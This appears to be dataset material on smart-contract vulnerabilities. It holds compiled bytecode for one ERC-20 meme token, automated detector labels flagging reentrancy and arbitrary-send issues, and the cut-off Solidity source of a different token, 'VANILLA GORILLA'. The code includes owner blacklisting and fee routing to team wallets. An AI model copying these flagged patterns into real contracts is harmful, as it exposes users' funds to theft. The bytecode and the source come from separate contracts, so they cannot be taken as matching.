33357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e50565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b2565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a55565b61109c565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128df565b6111e5565b604051610418919061300d565b60405180910390f35b60606040518060400160405280601981526020017f5265737420496e205065616365204a6f686e204d634166656500000000000000815250905090565b600061047261046b61126c565b8484611274565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461143f565b61055b846104a661126c565b6105568560405180606001604052806028815260200161378960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61126c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfe9092919063ffffffff16565b611274565b600190509392505050565b61056e61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f4d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f4d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261126c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c62565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5d565b9050919050565b6107dc61126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f5249504d4341464545e298a0efb88f0000000000000000000000000000000000815250905090565b60006109a161099a61126c565b848461143f565b6001905092915050565b6109b361126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f4d565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133ca565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613323565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661126c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dcb565b50565b610b5761126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f4d565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fcd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611274565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128b2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128b2565b6040518363ffffffff1660e01b8152600401610df9929190612d9d565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128b2565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612def565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a82565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611046929190612dc6565b602060405180830381600087803b15801561106057600080fd5b505af1158015611074573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110989190612a28565b5050565b6110a461126c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112890612f4d565b60405180910390fd5b60008111611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90612f0d565b60405180910390fd5b6111a3606461119583683635c9adc5dea0000061205390919063ffffffff16565b6120ce90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111da919061300d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112db90612fad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b90612ecd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611432919061300d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151690612e8d565b60405180910390fd5b60008111611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990612f6d565b60405180910390fd5b61156a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115d857506115a8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3b57600f60179054906101000a900460ff161561180b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561170e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175461126c565b73ffffffffffffffffffffffffffffffffffffffff1614806117ca5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b261126c565b73ffffffffffffffffffffffffffffffffffffffff16145b611809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180090612fed565b60405180910390fd5b5b5b60105481111561181a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118be5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119725750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e05750600f60179054906101000a900460ff165b15611a815742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3057600080fd5b603c42611a3d9190613143565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8c30610783565b9050600f60159054906101000a900460ff16158015611af95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b115750600f60169054906101000a900460ff165b15611b3957611b1f81611dcb565b60004790506000811115611b3757611b3647611c62565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bec57600090505b611bf884848484612118565b50505050565b6000838311158290611c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3d9190612e6b565b60405180910390fd5b5060008385611c559190613224565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb26002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cdd573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d2e6002846120ce90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d59573d6000803e3d6000fd5b5050565b6000600654821115611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b90612ead565b60405180910390fd5b6000611dae612145565b9050611dc381846120ce90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0357611e026133f9565b5b604051908082528060200260200182016040528015611e315781602001602082028036833780820191505090505b5090503081600081518110611e4957611e486133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eeb57600080fd5b505afa158015611eff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2391906128b2565b81600181518110611f3757611f366133ca565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f9e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611274565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612002959493929190613028565b600060405180830381600087803b15801561201c57600080fd5b505af1158015612030573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206657600090506120c8565b6000828461207491906131ca565b90508284826120839190613199565b146120c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ba90612f2d565b60405180910390fd5b809150505b92915050565b600061211083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612170565b905092915050565b80612126576121256121d3565b5b612131848484612204565b8061213f5761213e6123cf565b5b50505050565b60008060006121526123e1565b9150915061216981836120ce90919063ffffffff16565b9250505090565b600080831182906121b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ae9190612e6b565b60405180910390fd5b50600083856121c69190613199565b9050809150509392505050565b60006008541480156121e757506000600954145b156121f157612202565b600060088190555060006009819055505b565b60008060008060008061221687612443565b95509550955095509550955061227486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235581612553565b61235f8483612610565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bc919061300d565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea000009050612417683635c9adc5dea000006006546120ce90919063ffffffff16565b82101561243657600654683635c9adc5dea0000093509350505061243f565b81819350935050505b9091565b60008060008060008060008060006124608a60085460095461264a565b9250925092506000612470612145565b905060008060006124838e8787876126e0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bfe565b905092915050565b60008082846125049190613143565b905083811015612549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254090612eed565b60405180910390fd5b8091505092915050565b600061255d612145565b90506000612574828461205390919063ffffffff16565b90506125c881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612625826006546124ab90919063ffffffff16565b600681905550612640816007546124f590919063ffffffff16565b6007819055505050565b6000806000806126766064612668888a61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126a06064612692888b61205390919063ffffffff16565b6120ce90919063ffffffff16565b905060006126c9826126bb858c6124ab90919063ffffffff16565b6124ab90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f9858961205390919063ffffffff16565b90506000612710868961205390919063ffffffff16565b90506000612727878961205390919063ffffffff16565b905060006127508261274285876124ab90919063ffffffff16565b6124ab90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277c612777846130c2565b61309d565b9050808382526020820190508285602086028201111561279f5761279e61342d565b5b60005b858110156127cf57816127b588826127d9565b8452602084019350602083019250506001810190506127a2565b5050509392505050565b6000813590506127e881613743565b92915050565b6000815190506127fd81613743565b92915050565b600082601f83011261281857612817613428565b5b8135612828848260208601612769565b91505092915050565b6000813590506128408161375a565b92915050565b6000815190506128558161375a565b92915050565b60008135905061286a81613771565b92915050565b60008151905061287f81613771565b92915050565b60006020828403121561289b5761289a613437565b5b60006128a9848285016127d9565b91505092915050565b6000602082840312156128c8576128c7613437565b5b60006128d6848285016127ee565b91505092915050565b600080604083850312156128f6576128f5613437565b5b6000612904858286016127d9565b9250506020612915858286016127d9565b9150509250929050565b60008060006060848603121561293857612937613437565b5b6000612946868287016127d9565b9350506020612957868287016127d9565b92505060406129688682870161285b565b9150509250925092565b6000806040838503121561298957612988613437565b5b6000612997858286016127d9565b92505060206129a88582860161285b565b9150509250929050565b6000602082840312156129c8576129c7613437565b5b600082013567ffffffffffffffff8111156129e6576129e5613432565b5b6129f284828501612803565b91505092915050565b600060208284031215612a1157612a10613437565b5b6000612a1f84828501612831565b91505092915050565b600060208284031215612a3e57612a3d613437565b5b6000612a4c84828501612846565b91505092915050565b600060208284031215612a6b57612a6a613437565b5b6000612a798482850161285b565b91505092915050565b600080600060608486031215612a9b57612a9a613437565b5b6000612aa986828701612870565b9350506020612aba86828701612870565b9250506040612acb86828701612870565b9150509250925092565b6000612ae18383612aed565b60208301905092915050565b612af681613258565b82525050565b612b0581613258565b82525050565b6000612b16826130fe565b612b208185613121565b9350612b2b836130ee565b8060005b83811015612b5c578151612b438882612ad5565b9750612b4e83613114565b925050600181019050612b2f565b5085935050505092915050565b612b728161326a565b82525050565b612b81816132ad565b82525050565b6000612b9282613109565b612b9c8185613132565b9350612bac8185602086016132bf565b612bb58161343c565b840191505092915050565b6000612bcd602383613132565b9150612bd88261344d565b604082019050919050565b6000612bf0602a83613132565b9150612bfb8261349c565b604082019050919050565b6000612c13602283613132565b9150612c1e826134eb565b604082019050919050565b6000612c36601b83613132565b9150612c418261353a565b602082019050919050565b6000612c59601d83613132565b9150612c6482613563565b602082019050919050565b6000612c7c602183613132565b9150612c878261358c565b604082019050919050565b6000612c9f602083613132565b9150612caa826135db565b602082019050919050565b6000612cc2602983613132565b9150612ccd82613604565b604082019050919050565b6000612ce5602583613132565b9150612cf082613653565b604082019050919050565b6000612d08602483613132565b9150612d13826136a2565b604082019050919050565b6000612d2b601783613132565b9150612d36826136f1565b602082019050919050565b6000612d4e601183613132565b9150612d598261371a565b602082019050919050565b612d6d81613296565b82525050565b612d7c816132a0565b82525050565b6000602082019050612d976000830184612afc565b92915050565b6000604082019050612db26000830185612afc565b612dbf6020830184612afc565b9392505050565b6000604082019050612ddb6000830185612afc565b612de86020830184612d64565b9392505050565b600060c082019050612e046000830189612afc565b612e116020830188612d64565b612e1e6040830187612b78565b612e2b6060830186612b78565b612e386080830185612afc565b612e4560a0830184612d64565b979650505050505050565b6000602082019050612e656000830184612b69565b92915050565b60006020820190508181036000830152612e858184612b87565b905092915050565b60006020820190508181036000830152612ea681612bc0565b9050919050565b60006020820190508181036000830152612ec681612be3565b9050919050565b60006020820190508181036000830152612ee681612c06565b9050919050565b60006020820190508181036000830152612f0681612c29565b9050919050565b60006020820190508181036000830152612f2681612c4c565b9050919050565b60006020820190508181036000830152612f4681612c6f565b9050919050565b60006020820190508181036000830152612f6681612c92565b9050919050565b60006020820190508181036000830152612f8681612cb5565b9050919050565b60006020820190508181036000830152612fa681612cd8565b9050919050565b60006020820190508181036000830152612fc681612cfb565b9050919050565b60006020820190508181036000830152612fe681612d1e565b9050919050565b6000602082019050818103600083015261300681612d41565b9050919050565b60006020820190506130226000830184612d64565b92915050565b600060a08201905061303d6000830188612d64565b61304a6020830187612b78565b818103604083015261305c8186612b0b565b905061306b6060830185612afc565b6130786080830184612d64565b9695505050505050565b60006020820190506130976000830184612d73565b92915050565b60006130a76130b8565b90506130b382826132f2565b919050565b6000604051905090565b600067ffffffffffffffff8211156130dd576130dc6133f9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314e82613296565b915061315983613296565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318e5761318d61336c565b5b828201905092915050565b60006131a482613296565b91506131af83613296565b9250826131bf576131be61339b565b5b828204905092915050565b60006131d582613296565b91506131e083613296565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132195761321861336c565b5b828202905092915050565b600061322f82613296565b915061323a83613296565b92508282101561324d5761324c61336c565b5b828203905092915050565b600061326382613276565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b882613296565b9050919050565b60005b838110156132dd5780820151818401526020810190506132c2565b838111156132ec576000848401525b50505050565b6132fb8261343c565b810181811067ffffffffffffffff8211171561331a576133196133f9565b5b80604052505050565b600061332e82613296565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133615761336061336c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61374c81613258565b811461375757600080fd5b50565b6137638161326a565b811461376e57600080fd5b50565b61377a81613296565b811461378557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1e7a2398f0a2f6f7b37e57df3d57385a08ce703cb3de17e3f6ca951ca3fb52664736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,424 |
0xe895ccb7f411f0bad314efbf65b87a96a20957d4
|
/**
* VANILLA GORILLA - $VILLA
* https://t.me/vanillagorillatoken
* www.vanillagorilla.co
* $VILLA is a token with a twist and have used a similar tokenomics concept as MUSUBI! Check out the Tokenomics!
* No sale limitations, which benefits whales and little fish alike.
* An innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
TOKENOMICS:
* 1,000,000,000,000 TOTAL SUPPLY
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps!
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VANILLAGORILLA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"VANILLA GORILLA";
string private constant _symbol = unicode"VILLA";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
